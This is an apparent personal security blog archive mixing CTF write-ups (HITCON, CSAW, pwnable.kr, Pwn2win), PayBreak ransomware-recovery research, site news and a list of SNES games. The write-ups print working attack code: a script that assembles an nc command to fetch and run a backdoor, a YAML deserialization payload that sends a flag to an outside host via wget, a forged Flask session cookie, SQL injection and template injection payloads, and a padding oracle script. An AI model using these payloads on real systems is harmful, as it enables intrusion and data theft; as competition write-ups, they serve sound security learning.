Kolobyte - Eugene Kolodenker

A way to self crash Google Hangouts

The other day I accidentally discovered a way to self crash Google Hangouts. I was pasting something off a website to a friend, and ended up freezing my Chrome tab instead.

I've isolated the crash of Google Hangouts to this snippet:



Paste these lines into a Google Hangouts message to crash tab

- must have following text


Upon pasting this in the tab will spike to 100% memory usage and crash itself.

Use case? Not much as the tab cleanly crashes, and it's just a self DOS.

Migrating 0xBU.com website from Ghost to Github Pages Jekyll

I just finished migrating the 0xBU.com website from a self hosted Ghost blog to a managed Github Pages Jekyll blog.

Old Ghost Website: eugenekolo/0xbu-website-deprecated
New Github Pages Website: 0xbu/0xbu.github.io

Some lessons learned from the ~2 years of hosting 0xBU on Ghost:

  • It was hard to get students to update the website. I expected that a more sophisticated framework that allowed backend code writing and a WYSIWYG editor for blog drafting would be ideal. However, student developers found the Ghost blog framework to be daunting, and confusing. A purely static website generator such as Jekyll or Hugo made more sense to them.

  • Self hosting is often more work than expected. Even something as simple as a static website is not stable without effort. A lot of relied upon libraries and services such LetsEncrypt, NGinx, and Docker do not have stable APIs. Changes to their APIs will ricochet into issues elsewhere.

  • Its gotten a lot easier to have free, and secure SSL certificates, but it's still not frustration free. I found that the LetsEncrypt API changed often, and annoyingly. My certificates would often expire, and fail to renew themselves. This was frustrating, and took a couple of hours each time to implement fixes.

I hope that managed purely static hosting will serve me better going forward.

This blog will remain on Ghost for the foreseeable future. A redesign is in the works though.

I'll finish with a thought on university club websites: Is there enough reason for students to post on their club websites instead of their own? I'm not so sure.

How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2

Here's a story how a CTF challenge was solved using $20. There are less expensive solutions (free), but, hey, this works and made us the 4th team to solve it of 8 total in a 1000+ competitor CTF.

Summary and Shoutz

The challenge was basically to get a remote shell using only 4 character commands at a time. We can build a longer command by creating pieces of the command and then listing them in alphabetical order using ls. That command can be saved to a file and then executed using vi<file.

In order to form that command, we had to purchase a $20 alphabetical domain, that chunked up into pieces that vi wouldn't barf on.

Thanks @jeffreycrowell for the vi help, and purchasing the domain.

Challenge

Description: This is the hardest version! Short enough? http://52.197.41.31/

<?php  
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

Relatively straight forward. We get to execute a 4 character shell command in our sandbox.

Solution

There are relatively few things you can do with only 4 characters in shell.

  • Writing a file can be accomplished with >, and 3 characters left over.
  • Removing a file can be done with rm<space>, and only 1 character left over.
  • Executing a file can be done with sh< and 1 character left.
  • And of course, we can execute any other <=4 character command such as ls.

So, that gives us roughly 3 character limited primitives: create file, remove file, execute.

def create(file):  
    requests.get(URL + '?cmd=>' + file)

def remove(file):  
    requests.get(URL + '?cmd=rm ' + file)

def run(cmd):  
    requests.get(URL + '?cmd=' + cmd)

That should be enough primitives to create a file with a Remote Code Execution (RCE) command (nc example.com 2000), and execute it.

Getting a command of that length in is difficult when you only have 4 characters, but a nice trick is to create files that form that command and then save those pieces to a file with ls>f. However, ls will sort files by alphabetical order (in our case we discovered the server was running LANG=C, meaning ls sorted by ASCII value). Finally, the file we're writing the output of ls to must not ruin the combined command, as it'll also be written into the output of ls. So we actually have 3 limitations of the kind of command we can create.

  1. RCE command must be split into pieces of up to 3 characters
  2. Those split pieces must sort asciibetically.
  3. The file being written to must not ruin the command when the pieces are combined.

Let's suppose we can create a RCE command that fits those 3 limitations. We still have a problem of joining those pieces into a connected command without newlines as ls will output newline separated into files. We can correct this using some <=3 character vi commands. Those vi commands can be written down as file names, saved using out ls>f trick and then executed using vi<f.

# Run some vi<ls
create(':e}')  # Edit }  
create('gJ')  # Join top 2 lines together  
create('~ZZ')  # Write and close the file  

Note we're naming the file } for a very important reason. vi is able to open files named symbols using only 3 characters :e} whereas non-symbol names require at least 4 :e f and would be over the limit. Additionally, } is at the end of the ascii table and will sort nicely to the end of that command.

The new problem that arises with this method is that now the pieces of the RCE command will be executed as vi commands, because they are included in the ls being piped to vi. So, that makes us have another limitation:

  1. The split RCE command pieces must not stop vi's joining the pieces.

Can you come up with an answer that fits those 4 limitations? Here's what I got:

# Create the pieces of the command `nch h11h12h2hh.im mon>z;`. The extra 'h' in 'nc'
# will be removed later
for fff in ["\ n", "c", "h\ ", "h11", "h12", "h2", "hh.", "i", "m\ ", "mo", "n\>", "z\;"]:  
    create(fff)
run('ls>}')  

The URL that works in splitting into 3 character pieces, sorting properly, and not break vi is h11h12h2hh.im, well it turns out it's $20 and was available.

Actually, that command still breaks vi. The 'c' file will be created, and executed as a command in vi. Unfortunately, this command stops the joining process - we must remove it. We can do that by appending an 'h' to the command (or any other letter really), and then searching for it and deleting it using a vi command.

# Clean up the 'h' from the nc command
create('fhx')  
run('ls>l')  
run('vi<l')  

Once we have a file named } that contains nc h11h12h2hh.im mon>z; we can simply execute that file with sh<}, transfer a nice backdoor script into our sandbox, and then execute it with sh<z.

hitcon{idea_from_phith0n,thank_you:)}  

Full solution

#!/usr/bin/env python
import requests  
import os  
import sys


URL = 'http://52.199.204.34/'

def create(file):  
    requests.get(URL + '?cmd=>' + file)

def remove(file):  
    requests.get(URL + '?cmd=rm ' + file)

def run(cmd):  
    requests.get(URL + '?cmd=' + cmd)

def reset():  
    requests.get(URL + '?reset=1')

reset()

# Create the pieces of the command `nch h11h12h2hh.im mon>z;`. The extra 'h' in 'nc'
# will be removed later
for fff in ["\ n", "c", "h\ ", "h11", "h12", "h2", "hh.", "i", "m\ ", "mo", "n\>", "z\;"]:  
    create(fff)


# Put the pieces in the '}' file
run('ls>}')

# Remove anything 'vi' doesn't like and crashes on
remove('e')  
remove('x')  
remove('i')  
remove('p')  
remove('c')  
remove('s')  
remove('S')  
remove('f')  
remove('l')

# Run some vi<ls
create(':e}')  # Edit }  
create('gJ')  # Join top 2 lines together  
create('~ZZ')  # Write the file

run('ls>l')  # Trick to make vi<ls only be 4 characters  
for _ in range(13):  
     run('vi<l')

# Clean up the 'h' from the nc command
create('fhx')  
run('ls>l')  
run('vi<l')

# Let the script finish making the exploit file, and then execute it
time.sleep(10)  
run('sh<}')  
run('sh<z')  

Site Updates

  • Added commenting to posts.
  • Added an All Posts list to the side bar.
  • Improved mobile.
  • Some behind the scenes improvements

PayBreak - Generically recovering from ransomware including WannaCry/WannaCryptor

Recently I worked on some research with colleagues at Boston University (Manuel Egele, William Koch) and University College London (Gianluca Stringhini) into defeating ransomware. The fruit of our labor, PayBreak published this year in ACM ASIACCS, is a novel proactive system against ransomware. It happens to work against the new global ransomware threat, WannaCry. WannaCry is infecting more than 230,000 computers in 150 countries demanding ransom payments in exchange for access to precious files. This attack has been cited as being unprecedented, and the largest to date. Luckily, our research works against it.

PayBreak works by storing all the cryptographic material used during a ransomware attack. Modern ransomware uses what's called a "hybrid cryptosystem", meaning each ransomed file is encrypted using a different key, and each of those keys are then encrypted using another public encryption key, with the private decryption key held by the ransomware authors. When ransomware attacks, PayBreak records the cryptographic keys used to encrypt each file, and securely stores them. When recovery is necessary, the victim retrieves the ransom keys, and iteratively decrypts each file.

By having PayBreak installed prior to an infection, recovery from ransomware attacks is possible at negligible CPU and RAM overhead.

Recovering from WannaCry Ransomware

At this point, I think I've reverse engineered and researched something like 30 ransomware families, from over 1000 samples. Wannacry isn't really much different than every other ransomware family. Those include other infamous families like Locky, CryptoWall, CryptoLocker, and TeslaLocker.

They all pretty much work the same way, including Wannacry. Actually, this comic sums up the ransom process the best I've seen. Every successful family today encrypts each file for ransom with a new unique "session" key, and encrypts each session key with a "public" ransom key making it irrecoverable without the matching "private" key held closely by ransomware racketeers. Those session keys are generated on the host machine. This is where PayBreak shims the generation, and usage of those keys, and saves them. Meaning, the encryption of those session keys by the ransomware's public key is pointless, and defeated.

Custom AES by WannaCry

The PayBreak system doesn't rely on any specific algorithm, or cryptographic library to be used by ransomware. Actually, Wannacry implemented, or at least, statically compiled its own AES-128-CBC function. PayBreak can be configured to hook arbitrary functions, including that custom AES function, and record the parameters, such as the key, passed to it. However, a simpler approach in this case was to hook the Windows secure pseudorandom number generator function, CryptGenRandom, which the ransomware (and most others) use to create new session keys per file, and save the output of the function calls.

Recorded Keys

Recovering files is simply testing each of the recorded session keys with the encrypted files, until a successful decryption. Decrypting my file system of ~1000 files took 94 minutes.

Encrypted: Desert.jpg.WNCRY
Key used by Wannacry: cc24d9c8388fa566456ccec745e009c8
Decrypted: Desert.jpg

Thanks @jeffreycrowell for sharing a sample with me.
Full paper can be found here: https://eugenekolo.com/static/paybreak.pdf
SHA256 Hash of Sample: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
WannaCry Custom AES: https://gist.github.com/eugenekolo/fe229be2a4230cf8322bf5537e291812

Hitcon CTF 2016 Writeups

Writeups

Secure Posts 1

Web 50

Here is a service that you can store any posts. Can you hack it? http://52.69.126.212/

Secret Posts Manager

We're given the source code for this webpage: https://gist.github.com/eugenekolo/2bb4cf5c8ef7337a7d1c4e098fdcdfb2

Examination

It's fairly straight forward of an app. It takes your post, saves it with your session using a secret key. And for every new post, it appends to the previous posts. It additionally allows you to store the posts as either JSON, or YAML. The code is a bit more confusing, and seems to maybe allow you to use Pickle or eval, but that's actually useless/unimportant.

At first glance, I spent a lot of time trying to figure out how to do a YAML Deserialization attack that I read up a little while back on: https://access.redhat.com/blogs/766093/posts/2592591. However, upon further inspection, it just simply isn't possible due to the way the app does serialization and deserialization.

Essentially the code boils down one of two routes, /, or /post. Both start with load_posts(), which will essentially either fail or do yaml.load(). Typically, this would be dangerous, however the data that it's going to unload is completely uncontrollable by us do to it being tied to the session, and the session being integrity controlled by the secret_key.

We have some control over the session through the / route. However, what that route ends up doing is essentially taking our dirty input, and putting it into a dictionary structure. It then serializes that dictionary using yaml.dump(). Now, what we have instead of our dangerous input is just a plain old harmless serialized dictionary that points to some strings. One of those strings may happen to look dangerous, but is still just a string and it will not be parsed as anything else.

So we're out of luck here for doing anything involving deserialization.

There's one other area where user input seems to go:

return render_template_string(template.format(name=name), **args)  

Hmm... I wonder what Google shows up for 'template format injection flask' - https://hackerone.com/reports/125980

Aha! A bug bounty by the same creator of the challenge, orange, lol!

Testing his same test, {{'7'*7}} into the name field, gives us exactly what he said it would give 7777777.

So, simply changing that to {{config}} is going to render the config module as a string, and output it to us:

<Config {'SESSION_COOKIE_SECURE': False, 'DEBUG': False, 'SESSION_COOKIE_NAME': 'session', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PREFERRED_URL_SCHEME': 'http', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SERVER_NAME': None, 'SEND_FILE_MAX_AGE_DEFAULT': 43200, 'TRAP_HTTP_EXCEPTIONS': False, 'MAX_CONTENT_LENGTH': None, 'A': <datetime.tzinfo object at 0x7f3b41b891d0>, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_AS_ASCII': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SESSION_COOKIE_DOMAIN': None, 'USE_X_SENDFILE': False, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_HTTPONLY': True, 'LOGGER_NAME': 'post_manager', 'SESSION_COOKIE_PATH': None, 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'JSON_SORT_KEYS': True}>  

SECRET_KEY is the flag, and the actual session secret key of the website, see below for why that's interesting.

Secure Posts 2

Web 150

Here is a service that you can store any posts. Can you hack it? http://52.69.126.212/

Same exact website as as the first part in 'Secure Posts'.

It's important to understand how the app works, so look at the Examination section of Secure Posts 1 to understand how the app works.

From the previous challenge we have the secret key of the website. That means we actually have full control of the data that the app will try to deserialize. Without the secret key, we could not edit the session cookie without violating the signature check. But, now we have it, so it's free game!

import yaml  
from flask.sessions import SecureCookieSessionInterface

key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}"

class App(object):  
    def __init__(self):
        self.secret_key = None

def load_yaml(data):  
    import yaml
    return yaml.load(data)

exploit = u"some_option: !!python/object/apply:subprocess.call\n \  
  args: [wget eugenekolo.com/$(cat flag2)]\n \
  kwds: {shell: true}\n"

exploit = {'post_type': u'yaml',  
           'post_data': exploit}

app = App()  
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()  
serializer = si.get_signing_serializer(app)  
session = serializer.dumps(exploit)

print("Change your session cookie to: ")  
print(session)

# Test it on ourselves
#x = serializer.loads(session)
#print(x)
#load_yaml(x['post_data'])

All we really need is some YAML code that does something malicious. This Redhat Article explains how to do a Python subprocess.call() with YAML, so we can leverage that to get remote execution. Next we need to form our session into a shape that the webapp likes, so that means making it into the correct dictionary with 'post_type' and 'post_data'.

After we have that session ready, we have to encode it using the same scheme that Flask does. This was easier to do than expected. We can then change our session cookie to the string that a real Flask app would do.

Refresh the page...

52.69.126.212 - - [10/Oct/2016:05:02:55 +0300] "GET /hitcon%7Bunseriliaze_is_dangerous_but_RCE_is_fun!!%7D HTTP/1.1" 301 184 "-" "Wget/1.17.1 (linux-gnu)"  

Are you rich?

Web 50

Description Are you rich? Buy the flag!
http://52.197.140.254/are_you_rich/
ps. You should NOT pay anything for this challenge
Some error messages which is non-related to challenge have been removed

Navigate to verify.php, and for address:

d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT 3,1 #  

Change the limit to output a different table_name, and keep enumerating to find the table named flag.

I made a tester script:

import requests

URL = 'http://52.197.140.254/are_you_rich/verify.php'

for i in range(0, 100):  
    address = r"d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT {},1 #".format(str(i))
    print(address)
    data = {'address': address,
            'flag_id': 'flag2',
             'submit': 1}

    r = requests.post(URL, data=data)

    if 'not have enough' not in r.text:
        print(r.text)

Then do

d' AND 1=2 UNION ALL SELECT flag from flag1 #  

And get ...

Error!: Remote API server reject your invalid address 'hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}'. If your address is valid, please PM @cebrusfs or other admin on IRC.  

CSAW Qual CTF 2016 Writeups

The team/club I organize at Boston University just got done competing in the CSAW Qual CTF 2016. It was a bunch of fun, and we came in 119th out of 1274 active teams, top 10%!

scoreboard

Here's some writeups of the challenges I worked on. Other people's writeups can be found at https://0xbu.com/writeups.

Writeups

Neo

(Crypto 200)

Summary:
The challenge was a basic padding oracle attack. A padding oracle attack is present when: 1) A server attempts decryption with padding on controllable data, and 2) The server returns different a different result (i.e. error message) if the cipher text did not unpad correctly (i.e. an oracle). By attempting decryption of specially crafted data, the oracle reveals if unpadding was successful. From that oracle the plaintext can be recovered without the original key.

The challenge presents to you a website that states "Decrypt the matrix", and an input box that generates a new seemingly random base64 string on refresh. Playing around with submitting the box prints a different message depending on the input, either:

  1. Nothing
  2. AES Exception Thrown
  3. Invalid Base64

The random generated base64 string always returns "Nothing", meaning it probably worked successfully.

So there's a few hints here to tell you what to do:

  • "Decrypt the matrix" - Probably have to decrypt something.
  • The Matrix has a very important character named "The Oracle".
  • We get thrown 2 different messages depending on if our input succeeded, or didn't - ala we have an oracle.

So putting those pieces together, this is clearly a Padding Oracle exploit exercise.

This was my first padding oracle exploit. The best website while trying to learn this attack for the challenge was: http://robertheaton.com/2013/07/29/padding-oracle-attack/

From that, I then found some things already built for crafting/testing differently crafted data. I choose, https://github.com/mwielgoszewski/python-paddingoracle (I also have it easily installable in my sec-tools), as the best one for me. It's a nice Python API, where basically all you have to do is define an oracle function, and make it either Throw a 'BadPaddingException' based on your own logic for what throws that, or make it return successfully. The logic to throw a BadPaddingException can be actual crypto, or it can be a web request, it just has to be logic that causes an oracle to speak.

from paddingoracle import BadPaddingException, PaddingOracle  
from base64 import b64encode, b64decode  
from urllib import quote, unquote  
import requests  
import socket  
import time

class PadBuster(PaddingOracle):  
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)

    def oracle(self, data, **kwargs):
        print("[*] Trying: {}".format(b64encode(data)))

        # Do Crypto that throws something different if padding error
        r = requests.post('http://crypto.chal.csaw.io:8001/', data={'matrix-id':b64encode(data)})

        if 'AES' in r.text:
            print ("[*] Padding error!")
            raise BadPaddingException
        else:
            print ("[*] No padding error")

if __name__ == '__main__':  
    import logging
    import sys

    logging.basicConfig(level=logging.DEBUG)
    # This is a random string the server printed for us, 
    # assuming have to decrypt this, and see what we get
    encrypted_value = 'XImKWrDW5dFvUVDuwbwLy+nHJmDClEXWLcJRmf44atNU2tKZcVFoyT81bmUkL6WPWg7Dn8HMeeWwhiC+CI8QhDtYqGCBidtHZ+alNqnyTn4='
    padbuster = PadBuster()

    value = padbuster.decrypt(b64decode(encrypted_value), block_size=16, iv=bytearray(16))

    print('Decrypted: %s => %r' % (encrypted_value, value))

Note:
It's kind of deceptive in the challenge how a new random base64 string is printed to you on every website refresh. Because of that it can be difficult to figure out what you're supposed to decrypt. I ended up actually editing python-paddingoracle to also print the 'IV' (see the padding oracle article above, but basically IV = intermediate value ^ decrypted 1st block). I saw that the IV was \00*16 (typical default for CBC), so that gave me hope that I was on the right path, and that this really was some usefully encrypted data, and that my padding oracle attack was in fact working.

Running the script, and waiting about 30 minutes gets the flag:

Decrypted: XImKWrDW5dFvUVDuwbwLy+nHJmDClEXWLcJRmf44atNU2tKZcVFoyT81bmUkL6WPWg7Dn8HMeeWwhiC+CI8QhDtYqGCBidtHZ+alNqnyTn4= => bytearray(b'\xeeX6\x0c\x99\xb1\xed\x0c4!\xcf\xf0w\xf8u_flag{what_if_i_told_you_you_solved_the_challenge}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f')  

The Rock

(Reversing 100)

Summary:
Fairly straight forward ELF64 C++ reverse engineering. Using a mix of static, and dynamic tools you can get a feel of what the program is doing. It was mostly figuring out which functions do something useful.

In this challenge we're give an ELF64 binary. Opening it up in IDA reveals the main function, and that it's written in C++, which means there's going to be a lot more garbage data (virtualism, object-oriented, std library, etc. cruft) to sift through.

There's 3 ways to go down from this:

  1. Purely static analysis - Figure out what each function does, if it's useful or not, typically starting by backtracking from the function that looks most likely to be a validate function. There should be an algorithm that some how compares some form of the input key, to some form of the known good key. The algorithm maybe tricky, and the keys may be shuffled in all sorts of ways, but it boils down to essentially a comparison.

  2. Purely dynamic analysis - Input a key, and follow it down the call stack, and find what it's compared to. Feed that known good key as your input key. This will really only work if the input key is compared without any encoding to it.

  3. Some combination of the above 2.

I ended up doing (1), but (2) was the smarter choice as the input key was being compared directly to an encoded known good key, so simply putting a breakpoint, recording that known good key, and passing it as my input key would do the trick.
But, for whatever reason I wrote the code for (1) instead.

#!/usr/bin/env python
"""Original binary (rock.elf) is verifying a key via:

    input_key = <input>
    encoded_key = 'FLAG23456912365453475897834567'
    clean_key = ''
    for c in k:
        tmp = (c+20) ^ 0x50
        clean_key += (c1+9) ^ 0x10

    return input_key == clean_key

So to reverse it you just have to do the opposite to get the clean_key  
and provide that as the input key  
"""
known_good = "FLAG23456912365453475897834567"  
ans = ""

for c in known_good:  
    tmp = (ord(c)-9) ^ 0x10
    ans += chr( (tmp - 20) ^ 0x50) 

# Let's make sure we did this right
should_be_known_good = ""  
for c in ans:  
    tmp = (ord(c) ^ 0x50) + 20
    should_be_known_good += chr((tmp ^ 0x10) + 9)

if known_good == should_be_known_good:  
    print("Round trip successful, printing the flag: ")

print(ans)  
Round trip successful, printing the flag:  
IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz  

Key

(Reversing 125)

Summary: In this challenge you're given a PE32 executable. The executable looks inside of a key file, and compares the contents to an encoded key. The contents of the file are compared as is to the encoded key.

Executing the program gives us:

"W?h?a?t h?a?p?p?e?n?" 

Opening it up in IDA, and searching for that string, and then backtracing for the root cause reveals to us another interesting string:

Note:
Executing the program in wine on Linux crashes... apparently the PE32 uses something that wine hasn't implemented, so you really do need to run this on a Windows box.

So it's pretty obvious that file has to exist. The key is probably put into it and compared directly (it is), but you can verify through running the program in a debugger. That's what I ended up doing, but you can actually skip that and solve this quicker by not.

After getting past the error print, spending some more time debugging, and tracking memory flow reviews to us that the algorithm of this program is basically:

1. Encode the string 'themidathemidathem' by XORing it with a constant key  
2. Encode the result from (1) via some more gibberish.  
3. Compare (3) to the input file key.  

We can follow the flow of the program, and find the result of (2):

idg_cni~bjbfi|gsxb  

Regexpire

(Misc 100)

Summary:
In this challenge you connect to a server, and it prompts you to provide a correct string that will satisfy a regex expression. You must answer with a satisfiable string, and repeat this process until the server spits out the flag.

I googled for 'reverse regex', and ended up finding the python library rstr. It takes in a regex expression, and returns a string that satisfies it, exactly what we want.

import rstr  
import telnetlib  
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("misc.chal.csaw.io", 8001))

s.recv(1024) # junk read

while True:  
    question = s.recv(1024)

    print("Asking for: " + question)

    if 'Irregular' in question: # printed when we messed up
        break
    if 'flag' in question: # hoping this is printed when we're done
        break

    ans = rstr.xeger(question)
    print("Answering: " + ans)
    # The server can't handle '\n' in the middle of an answer
    # as it thinks that's the end of the answer, so we have to ask
    # again for an answer that doesn't have '\n' in it.
    while '\n' in ans[:-1]:
        print('we fucked')
        ans = rstr.xeger(question)
        print("Answering: " + ans)

    s.send(ans)
nc misc.chal.csaw.io 8001  
Can you match these regexes?  
Asking for: [QSIb][QVvVxYxS]+(bernie|clementine)0{8}[aWeyq]ag*[a-z]6J{9}[a-z]{6}[T\D\DR0vAp]*(tiger|clinton){9}(table|table)[8gpy]

Answering: ISYVYSvvvvxSxSQVxVxYvVVxQQxvvYVQSxQxYvxxvxVYxxSVxQvxvxQQVvxxQVvxxQVVYxYSSVVVVvxQvQYvxvVxVVVvQclementine00000000eagggggggggggggggggggggggy6JJJJJJJJJvqcnnyYEp]!l)Z'?wUXrtz!TpGekY`wh_|W=Sdj{iE+~=+IZUSR*XRUpxjswI=dIu:PFRd^VrLy$(j!Z&$Ts+>)[email protected]+)X>BStigerclintontigertigertigerclintonclintonclintontigertable8

[Repeated a bunch more times...]

flag{^regularly_express_yourself$}

Top 5 SNES games

It's no secret I'm a huge fan of the Super Nintendo. The well told stories, the beautiful tested-through-time graphics, and the amount of game play in so many of the games made during the '90s of the SNES is just unbelievable.

01. Legend of Zelda

Legend of Zelda 1

This game is just unbelievably polished. The story is intact and cohesive (well as much as you can really get in the 90s). The game play keeps you constantly learning new things. The puzzles and exploration keeps you constantly looking, and thinking. Very few games can capture both whimsy, and bravery in a single package. A feature that sets this game apart as an AAA classic in the SNES era is most definitely the two halves of the game, the Light and the Dark worlds. The graphics in both are amazingly designed, and still stand up today.

Light and Dark worlds

02. Chrono Trigger

Chrono Trigger is not the most beautiful SNES game, nor the best designed. However, it makes up for all of its flaws with a unique and captivating story, alongside a multi-staged universe. The game takes place along 2 continents, and a few islands, but the trick to making the universe so vast is the game's time travel motif. I have yet to see any other game pull off time travel in ANY sort of way that's as enjoyable, and smooth as Chrono Trigger.

03. Super Mario World

Super Mario World provides an amazingly designed world alongside graphics that I feel are unmatched in aging. The game is still stunning today, and the world is just as fun as it was when the game was released.

04. Super Mario 3

Super Mario 3 is in a group of games that is very rare. It's the 3rd game in a series, and the best one out of them. Most often sequels to games never match the success of the original, however Super Mario 3 breaks that and surpasses both predecessors. It builds upon everything great in the prior series while adding several new features that don't take away, but only add fun to the game.

05. Super Mario RPG

This game was released towards the end of the SNES lifespan, and as such didn't do very well. It was forgotten for a little while, but then remembered and today is many SNES fans favorite games. This game is one of the few where you can find typical Nintendo characters (Mario, Luigi, Toad) alongside characters developed by Square Enix. As such, there's main characters in this game, that have yet to be introduced in any other game by Nintendo or with Mario in it.

It's also one of the few games where you'll see Mario and Bowser on the same team, exchanging jokes and breaking the fourth wall together.

Pwnable.kr - cmd1, cmd2, and flag

A few swigs of the Toddler's Bottle from pwnable.kr.

cmd1

Solution and approach I took by just printing out my bash history.

ssh [email protected] -p2222 (pw:guest)

[email protected]:~$ history  
    1  ls
# Let's see what do we have here... okay got ourselves a c file.
    2  cat cmd1.c
    3  ls
# Looks like the c file just messes up your PATH env variable. 
# We can just avoid it by using absolute paths.
    4  ./cmd "/bin/cat /home/cmd1/flag"
    5  ./cmd1 "/bin/cat /home/cmd1/flag"
# Hmm. Why's it not working.
    6  ./cmd1 "/bin/cat /home/cmd1/$f"
    7  $f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
# Oh, because the binary also filters out the word 'flag'.
# Binaries inherit the environment of the shell. We can have a variable that just says 'flag'
# and use that variable instead.
    8  export $f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
    9  export f = flag; ./cmd1 "/bin/cat /home/cmd1/$f"
# Some fail attempts at setting an env variable
   10  export f=flag; ./cmd1 "/bin/cat /home/cmd1/$f"
   11  env
   12  export f=flag; ./cmd1 "/bin/echo $f"
# Okay that seriously should have worked. What the hell is the problem.
   13  /bin/echo
   14  /bin/echo $f
   15  export f=flag; ./cmd1 "/bin/echo \$f"
# Oh. The shell is expanding $f for us. We need to pass the literal string "$f".
# Gotta escape the $.
   19  export f=flag; ./cmd1 "/bin/cat /home/cmd1/\$f"
Got it. mommy now I get what PATH environment is for :)  
   23  unset f
   24  env
   25  f=flag ./cmd1 "/bin/cat /home/cmd1/\$f"
   26  env
# Some testing. You can just pass a local env variable to programs you execute on the CLI,
# without having to mess up your env for any other programs started from that shell. No
# need to export.

cmd2

The overall idea to this challenge is to leverage sh built-ins. Notice that I say sh and not bash, that's because the program is doing a system(...) API call, which is actually a wrapper around exec("sh -c ..."). There are major differences between the sh shell, and the bash shell.

This is my solution. It's really crazy, and I'm a bit too lazy to explain it/barely know what I was thinking when I crafted this masterpiece. But, basically the idea is you need a / (e.g. ./cat flag) in order to call a program without a path. So, you have to think of some clever way to get a / into a string.

$ ./cmd2 "\$(printf '%c%c%c%c%c%c%c%c %c%c%c%c%c%c' \$(set \$(printf '%c%c%c%c%c' \$ P A T H); 
set \$(eval echo \$1); echo \${1%no_command_execution_until_you_become_a_hacker}) b i n \$(set  
\$(printf '%c%c%c%c%c' \$ P A T H); set \$(eval echo \$1); echo 
\${1%no_command_execution_until_you_become_a_hacker}) c a t . \$(set \$(printf '%c%c%c%c%c' \$ 
P A T H); set \$(eval echo \$1); echo \${1%no_command_execution_until_you_become_a_hacker}) f l  
a g)"  

There's a much simpler, almost cheating solution to this challenge as well. Read the man page for sh built-in to understand it :).

$ ./cmd2 command -p cat flag

There's also a medium difficulty solution that somebody showed me, but I leave that as an open problem for the
reader.

flag

$ wget http://pwnable.kr/bin/flag
$ objdump -d flag

Returns nothing. Strange.

$ chmod +x flag; ./flag
I will malloc() and strcpy the flag there. take it.  

Test that string as being the answer. Wrong - that'd have been too easy.
Okay so it does actually do something and is an executable.

Why would objdump fail? If it's a malformed binary is the only reason. That only happens due to some sort of corruption, most often man-made, in things like malware. Malware is often obfuscated to make diassembly and detection harder. It's actually a very difficult problem to figure out how something is packed, and to then reverse it. Luckily most malware authors, and people in general use popular tools at default settings. UPX is the most popular packer, and the default setting leaves the string "UPX" in the binary.

$ strings flag
...
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
...
UPX!  
UPX!  

Nice! It's UPX. Let's download a UPX unpacker.

$ upx -d flag

And now to debug the unpacked binary.

$ gdb flag
$ b main
$ r
   0x401163 <frame_dummy+67>:    nop
   0x401164 <main>:    push   rbp
   0x401165 <main+1>:    mov    rbp,rsp
=> 0x401168 <main+4>:    sub    rsp,0x10
   0x40116c <main+8>:    mov    edi,0x496658
   0x401171 <main+13>:    call   0x402080 <puts>
   0x401176 <main+18>:    mov    edi,0x64
   0x40117b <main+23>:    call   0x4099d0 <malloc>

Nice, a strcpy and malloc as promised when the program was executed.

# Inside of gdb:
$ n; n; n; n; n; n
=> 0x401184 <main+32>:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>

Oh, the flag is just in 0x6c2070

$ telescope 0x6c2070
0000| 0x6c2070 --> 0x496628 ("UPX...? sounds like a delivery service :)")  

Get upx, and peda (the telescope command inside of gdb) from my sec-tools.

Pwn2win 2016 - Python Tokens Writeup

This was a fun little challenge that was primarily thinking (esoteric mostly), reversing, and Python based. The security, or programming expertise is minimal for this one, it's mostly puzzle solving.

Tokens
Points: 50
Category: Python Exploitation
Description:
English:

We discovered a Club’s “homemade” token generator system which uses a fixed value as a seed (is it a joke?). Some Club systems use this token scheme, so we need to make a leak in order to compromise them. Due to a week-long effort, our hardcore newbie SkyMex was able to obtain the token generator source code from a private git repository before it received the official seed.

Submit the flag in the format: CTF-BR{seed}.

We're given a Python file, tokens.py, and a general description of what the file probably is. It's a token generator system, meaning it's supposed to give 1 time credentials, that are usually seeded from random data. But, this one is apparently using a constant seed, and our mission is to get that seed.

The algorithm of the token generator is summarized here in pseudo-python.

seed = "???????????????????????"  
while True:  
    userinput = input()
    cmd, serialnum = userinput.split()
    if !validate(userinput):
        exit()
    serialnum = eval(serialnum) # Why???
    if serialnum is int and len(serialnum) == 4:
        token = gentoken(serialnum, seed, date)
        print(token)

The key points of the code are the validation() function, the use of eval, and then the gentoken() function. We already have arbitrary (for the most part) code execution with the eval. But we're facing four challenges:

  1. eval in Python, must be fed an input, that will return a value, and not simply 'do'. Meaning, something like 3+3 can be eval'd, whereas print "Hi mom!" cannot be eval'd - an exception will be thrown.
  2. validate() must successfully return, so we any input we give to the token generator, has to pass the validation which forbids certain characters such, |, and ".
